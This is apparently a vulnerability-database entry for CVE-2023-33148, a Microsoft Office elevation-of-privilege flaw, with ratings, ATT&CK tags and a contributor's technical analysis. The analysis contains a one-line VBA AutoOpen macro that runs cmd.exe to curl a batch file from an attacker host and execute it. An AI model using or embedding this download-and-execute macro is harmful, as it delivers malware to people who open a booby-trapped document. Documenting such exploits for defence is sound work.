High
CVE-2023-33148
CVE ID
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CVE-2023-33148
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Microsoft Office Elevation of Privilege Vulnerability
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Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
CVE-2023-33148
Vendor
Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it – opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim’s PC, it depends on the scenario.
WARNING! Office 365 executes files directly from Outlook, without temp downloading, security checking and etc.
Staus: HIGH Vulnerability
[+]Exploit:
- – – NOTE:
This exploit is connected to the third-party server, and when the victim clicks on it and opens it the content of the script which is inside will fetch on the machine locally and execute himself by using MS Office 365 and Outlook app which is a part of the 365 API.
Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus) End Sub
Reproduce:
Proof and Exploit
Time spend:
00:35:00
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General Information
Vendors
- microsoft
Products
- 365 apps -,
- office 2013,
- office 2019,
- office 2021
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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